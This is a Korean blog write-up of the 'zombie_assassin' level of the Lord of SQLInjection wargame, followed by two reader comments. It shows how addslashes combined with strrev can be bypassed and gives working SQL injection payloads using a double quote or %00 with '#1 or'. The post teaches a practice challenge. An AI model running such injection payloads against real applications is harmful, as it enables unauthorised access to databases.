ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LOS] zombie_assassin
    Wargame/Lord of SQLInjection 2019. 7. 9. 01:40
    728x90

    [zombie_assassin] https://los.rubiya.kr/chall/zombie_assassin_eac7521e07fe5f298301a44b61ffeec0.php

    id와 pw가 addslashes와 strrev함수 처리된다.

     

    strrev()
    입력 받은 문자열을 뒤집어 리턴하는 함수

     

    addslashes 처리되어도 strrev함수에 의해 '를 입력할 수 있게 된다.

    ?id='

    addslashes($_GET['id']) : id = \'

    strrev( id ) : '\

     

    그러나,

    select id from prob_zombie_assassin where id=''\' and pw=''

    작은 따옴표를 입력할 수 있지만, 위 쿼리문처럼 완벽하지 않은 쿼리문으로 에러가 난다.

     

    succubus 처럼 우회하면 될 것 같다.

    select id from prob_zombie_assasin where id ='\' and pw=' or 1#'

     

    id에 '외에 addslashes함수로 \가 처리되는 문자를 id의 값으로 넣어주면 될 것이다.

     

    php addslashes()
    [php manual] https://www.php.net/manual/en/function.addslashes.php

     

    addslashes함수는 ' " \ NULL에 \처리 해준다.

     

    \는 \\로 문자로 인식되어 id의 '를 문자로 인식하게 하지 못한다.

    select id from prob_zombie_assassin where id='\\' and pw=''

     

    따라서,

    id의 값으로 "나 NULL(%00)을 입력해주어야 한다.

    select id from prob_zombie_assassin where id='"\' and pw=''

    id의 '가 \처리되어 문자로 인식되면서 pw의 '까지 id의 입력 값으로 인식된다.

     

    ?id="&pw=%231 ro

    ?id=%00&pw=%231 ro

    반응형

    'Wargame > Lord of SQLInjection' 카테고리의 다른 글

    [LOS] xavis  (0) 2020.03.19
    [LOS] nightmare  (0) 2019.07.13
    [LOS] zombie_assassin  (2) 2019.07.09
    [LOS] succubus  (0) 2019.07.06
    [LOS] assassin  (0) 2019.07.06
    [LOS] giant  (0) 2019.07.05

    댓글 2

    • 프로필사진

      $guery = "select ~ from ~ where id = ' "\' 이렇게되면, 쿼리 스트링이 큰따옴표로 시작되는데, 입력값으로 입력한 큰따옴표가 쿼리스트링의 마지막 큰따옴표로 작용하지않을까요

      2020.12.22 12:16 신고
      • 프로필사진

        안녕하세요. 질문 감사합니다.
        쿼리스트링에서 입력된 값은 그냥 스트링(문자)이기 때문에 쿼리스트링의 큰 따옴표(특수 기호)와는 다릅니다. 그렇기 때문에 입력 값인 큰 따옴표(문자)가 쿼리스트링의 마지막 큰 따옴표(특수 기호)로 작용하지 않습니다.

        2020.12.29 02:21 신고
@Jo Grini's Blog